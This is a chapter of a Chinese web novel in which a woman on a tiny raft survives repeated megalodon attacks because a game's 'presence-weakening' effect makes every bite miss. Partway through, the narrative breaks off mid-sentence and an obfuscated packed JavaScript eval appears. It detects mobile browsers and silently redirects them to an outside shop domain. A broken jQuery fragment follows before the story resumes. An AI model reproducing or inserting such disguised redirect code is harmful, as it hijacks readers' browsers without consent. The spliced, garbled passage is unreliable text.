木筏晃了一下,南波荼盘腿坐在鱼缸旁,手伸进鱼缸里,拨弄水里的小丑鱼。
鱼尾甩出水花,溅在小腿上,温温的。
小丑鱼们突然“嘎嘣”一下绷直了身体,齐刷刷沉到缸底。
南波荼心脏咯噔一跳,怀疑自己不小心把鱼弄死了。
她又去拨弄着小丑鱼们,宛如死鱼的小丑鱼们被迫地动弹几下,浑身透露着不要打扰的烦躁感。
南波荼刚想松一口气,突然察觉到了异常,她把手抽回来,水滴在木筏上,声音响得刺耳。
沸腾的海域早已平息,觉醒造成的尸骸群也在海水的流动下,逐渐远去。
唯有空气中还残留着似有若无的能量余波,震慑周边弱小的生物,吸引远处强悍的捕食者。
此刻海面平静得近乎虚假,第六感发出尖锐的爆鸣。
南波荼眉心直跳,屏气凝神,收起木筏上的鱼缸,缓缓站了起来,目光不受控制地在四周巡视。
海面暗了。
木筏的正下方,钴蓝色的海面像是被倒入了一瓶墨汁,以惊人的速度向周围扩散。
颜色从蔚蓝到深蓝,从深蓝变成金黑色的藏青,整个过程只用了半个呼吸的时间。
不详的预感爬上她的眉眼,南波荼的心脏逐渐开始砰砰跳,越跳越快,越跳越快。
她跪坐在木筏上,双手死死地抓住木筏边缘,视线向下望去。
一个有边界、轮廓分明的黑暗,从深处的混沌浮了上来。
背鳍刺破了水面,像断头台的刀刃一样,从水下无声的升起,带起的水流在她木筏三米处,激起一道膝盖高的波浪。
浪泼在她腿上,冰冷刺骨。
她能清晰地感受到那股压倒性的威慑力正在逐渐逼近,本能地随着它的上浮缓缓站立起来。
南波荼的求生本能叫嚣得更加厉害、喧嚣,恐惧让她想要立刻逃离这块区域。
可不等她有任何动作。
水面炸了。
水墙拔地而起,把天遮死。
碎浪砸在她后背上,像被人用木板抡了一下,南波荼扑出去,脸磕在筏沿上,嘴里的血腥味还没散开,就看见海面被直接撕开。
上颚,牙根比她大腿还粗,三角形巨齿一排接一排,挂着碎肉和绿藻,直冲她而来。
一股浓烈的、铁锈混合着腐朽的、像打开了一个千年未起的坟墓的味道,涌进了她的鼻腔。
周边是深不见底的海洋,只有一块9㎡的木筏,无处可逃,无处可去。
“咚!咚!咚!”心跳太快了。
快到她听见的不是一声一声,是一串连起来的闷鼓,咚咚咚咚咚咚——挤在胸腔里,肋骨都快兜不住。
肺在抽,气吸不进去,视野四周开始发黑,像有人从外沿把画面烧焦。她觉得自己要猝死了,就在这颗牙齿戳穿她之前,心脏先炸掉。
在死亡逼近的刹那。
她看见那颗倒三角形的白色墓碑从她眉心滑开,朝左侧偏移,缓慢地,缓慢地,擦着她过去。
锯齿从她耳边掠过,带起的风裹着腥味,割断了她一缕头发,然后整张巨口顺着那个偏差的角度合拢。
“哗啦——”牙齿碾在木筏左半米的海面上,海水从齿缝间喷出来,像瀑布浇在屏障上,嘭一声闷响。
擦肩而过。
咬空了。
南波荼僵住在原地。那头庞然大物也僵住了。
那张嘴悬在空气里,上下颚合到一半卡住了,像被人按了暂停。
那双绿眼睛从牙齿后面翻上来,先盯着她原来的位置,空的。
然后缓缓移向她现在的方向,又偏了一点点。瞳孔缩紧,又放大,里面全是茫然。
它懵了。
它合上嘴,嘶哑的气流从牙缝间挤出来,像一声低沉的、困惑的闷哼。
然后它重新张开嘴,上颚抬,下颚沉,喉咙黑洞再一次对准她。
这一次她看见它调整了角度,把位置修正了,把她的位置重新钉进视野中央,锯齿尖端再次对准她的脸。
危机感依旧在叫嚣,越来越强烈,越来越难耐。心跳又炸了,咚咚咚咚——比刚才更快。
但她死死睁大眼睛,不放过任何细节,恐惧的洪流中裂开一个极小的空洞,理智从那个洞里渗了进来。
呼吸猛地沉了下去,胸腔里的闷鼓终于开始降速。
嘭。牙齿合拢的声音又偏了。
这一偏还是差不多的幅度,差不多的方向,那张嘴擦着她的右肩咬在屏障边缘,气流掀翻了海浪,唯有翻涌上的浪涛拍打在她身上造成微不可察的伤害。
巨齿鲨的嘴又停了。
这次它没有懵太久。它把嘴抽回去,上下颚碾了碾,磨出嘎吱一声响。
然后第三次张开——更快,更猛,喉咙黑洞张到极限,嘴角撕裂到几乎兜不住牙齿。
整张巨口像炮弹砸下来,她甚至看见唾液拉成的丝在齿缝间断裂。
偏了。同样的微妙角度。牙齿从她头顶掠过,咬在木筏后方的海面上,浪花溅了三米高。
第四次。偏了。
第五次。偏了。锯齿从她膝盖前方一寸擦过,削断了木筏边沿一根翘起的木刺,木筏晃都没晃。
第六次。第七次。巨齿鲨的嘴越张越快,越咬越急,上下颚开合的频率已经像一扇被风吹打的门,嘭嘭嘭嘭嘭——牙齿咬进空气,咬进水花,咬进它自己嘴里喷出的碎浪,就是咬不到她。
那双绿眼睛在她身上扫来扫去,明明她就跪在木筏正中,膝盖顶在胸前,手撑着板子。
可它的视线每次划过她的脸,都会滑开一点,落向旁边的虚空,像对焦坏了的镜头,明明知道目标在取景框里,却怎么也对不准。
南波荼终于缓缓地眨了下酸涩的眼睛。
恐惧还在,心脏还在狂跳,但理智已经重新开始运转。
在生理性的战栗中,她的思绪一寸一寸地恢复了清明。
堪称天堑的差距。
即使拼尽全力挣扎,也不过是在胃袋中多扑腾几下,让那巨齿鲨了解食物的足够鲜活。
那头庞然大物迟迟不采取行动,显然并非仁慈。
南波荼只能联想到新手期间的存在感削弱效果正在发挥作用。
游戏有三天的新手期,在新手期期间,有存在感削弱和新手保护罩。
在顾琼分享的情报中提过,通过实验他们发现,存在感削弱效果能够误导其他生物,即使变异生物精准地定位玩家,也会在存在感削弱效果的影响下,在攻击的前刻发生微妙的偏移。
如果变异生物无意识撞击木筏,新手保护罩会立刻触发,弹开攻击并保护玩家安全。
但保护罩的智能程度并不高,对水流、波浪等间接影响不会主动反应。
身体里每一滴血液在疯狂跳动,困倦的脑袋突突地疼。
那种下一秒就会死亡的直觉强烈的近乎恐怖,那是人类面对危险时镌刻在基因里的本能。
仅能凭借外力保护,南波荼感到深深的不安。这是一头人力无法抗衡的史前怪物。
从吻部到尾鳍,末端在阳光照射下划出一道完整的、巨大的弧线,像一扇缓缓关闭的黑色城门。
她用视线丈量,3米长的木筏,不到这动物身长的四分之一。
约12米。
3米长的木筏甚至不到它的四分之一。
巨大的背鳍悠然中透着傲慢,巨大的身躯和狰狞的倒三角立齿,昭示着它是这片海域最顶尖的捕食者。
南波荼脑中一片空白。
宛如神经系统过载之后的短暂死机,就像电脑屏幕卡在最后一帧画面,鼠标不动了。
那在觉醒时被吓跑的弱小鲨鱼,面对能量洪流如遭天敌,当场逃窜。
但这头庞然大物显然强出太多,觉醒的能量波动或许仅能让它感到了短暂的不适,然后被吸引、被激起更强的好奇。
此时,任何的攻击、行动都仿佛是在提供定位,像个小丑般挥舞火把虽然无法造成任何伤害,但侮辱性极强。
南波荼缓缓闭上眼,哪怕明知有新手保护期的存在,她的大脑依旧在疯狂尖叫。
完啦!吾命休矣!!!
无能为力的恐惧把她灌满了。满到她以为自己会永远定格在这帧画面里。
在多次换角度攻击仍然失败后,鲨鱼不情愿地闭上嘴,开始绕圈。
巨齿鲨的头部微摆,然后开始绕圈,从容不迫的、几乎称得上慵懒的绕圈。
阳光被它的阴影遮蔽,刺骨的寒意顺着脚后跟一点点爬上脊背。
它从她的左侧,开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740764|208964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
游到她的后方,经过时的尾流让木筏轻微地晃动了一下。
但每当它试图直线冲过来,存在感削弱效果就会像一层看不见的迷雾,让它的感知发生微妙的偏移。
巨齿鲨明明用眼睛锁定了她,但存在感削弱的机制干扰的不是视觉本身,而是大脑对视觉信息的处理。
它看得见她,看得见木筏,看得见那个试图通过站立来塑造“庞然大物”的弱小人影。
可每一次它的大脑试图将“看见”转化为“攻击指令”,那个信号就被标记成“浮木”“礁石”“无关之物”,从猎物的分类中被一次次剔除。它无法“相信”那就是猎物。
但视觉只是鲨鱼狩猎的一环。
气味、震动、电信号……这些系统仍在正常运转。
而南波荼身上那股诱人的天赋能量波动,正持续地刺激着巨齿鲨。
于是它从后方绕到左侧,又从右侧绕到后方,黑色的背鳍在阳光下划过一道干净的弧线。
第二圈、第三圈、第四圈……每一次经过,木筏都会晃动的更加剧烈,但是它始终无法真正靠近木筏。
南波荼的心脏还在狂跳,但恐惧之中有着一丝清醒。
她知道存在感削弱效果有限,毕竟被天赋觉醒动静震慑走的鲨鱼是最实在的佐证。
但没想到会这么差!!!
谁能告诉她,眼前这头巨齿鲨到底是怎么回事???
如果它发癫般四处啃食,直接把她当做小饼干一样吞噬进肚,那谁能扛得住啊!!!
海水存在感比她还弱,那不照样进肚啊???
一人一鲨,隔着一小片被阳光晒得发白的水面,对视。
十秒。五十秒。三分钟。
海浪在他们之间来回的走,阳光在他们身上来来回回的晒。
小丑鱼们不知死活地在鱼缸里,肆意地摆尾,不断地叫嚣着“饿饿饿饿饿饿饿!!!!”
十分钟。
巨齿鲨开始下沉。
顶级掠食者不会因为一个无法理解的异常就落荒而逃。
这个猎物很奇怪,视觉上清晰可见,感官上却像一团模糊的幻影,捕捉它的性价比远低于预期。
加上空气里残留的能量余韵让它的电感受器持续发出微弱的警报,那种感觉就像人类待在煤气泄漏的房间里,明明没看到火,却本能地想出去。
它选择放弃,至少是暂时放弃。
整个身体像一个失去了浮力的潜水艇,垂直地、缓慢地、一寸寸地没入海面。
背鳍最先消失,然后是脊背,然后是尾鳍。
但是它的眼睛,那只一直看着她、直径如同餐盘的眼睛始终保持在水面的高度,直到最后一刻。
水面在瞳孔的正中心画了一条线。上半只映着天空的蓝色,下半只眼睛映着海水的深色。
那条深色的瞳孔里倒映着一个微小的、蜷缩的人影。
她的木筏,她的身体,她身后那片无边无际的海。
然后水没过了那只眼睛。
黑暗吞没了最后一点琥珀色。
水面上多了一个直径近三米的圆形漩涡,缓慢地旋转着。
漩涡的中心是一个深不见底的黑洞,周围的海水打着转往那个黑洞里灌。
十几秒后漩涡放缓海面,重新恢复了透明的钴蓝色。
“哈——”
南波荼剧烈的喘息,僵直的身形宛如破冰般失去所有支撑力,像是被抽掉钢筋的水泥柱,整个人直直地砸在木筏上。
胸口起伏的频率时快时慢,像一台没有校准过的发动机,她花了将近十分钟才重新找到呼吸的节奏。
她闭了闭眼,从空间取出草籽鱼粮袋,通过喂食小丑鱼强迫自己冷静下来。
小丑鱼们还在不知恐惧地产出,她将扇贝上架到商城。付出、收获,及时反馈的快感像一根细线,把她的意识从深海一点点拽回来。
手指不抖了,呼吸慢慢稳了,恐惧退潮之后,留下的是全身骨头被拆过一遍的酸痛。
恐惧渐渐低迷,南波荼重新感知到世界的存在。
南波荼哆哆嗦嗦,但马不停蹄从空间中取出类似船桨的塑料玩意儿,哆哆嗦嗦又吭哧吭哧地划起船桨。
五分钟后,她哆哆嗦嗦地望着足足有1m的距离时,陷入沉思。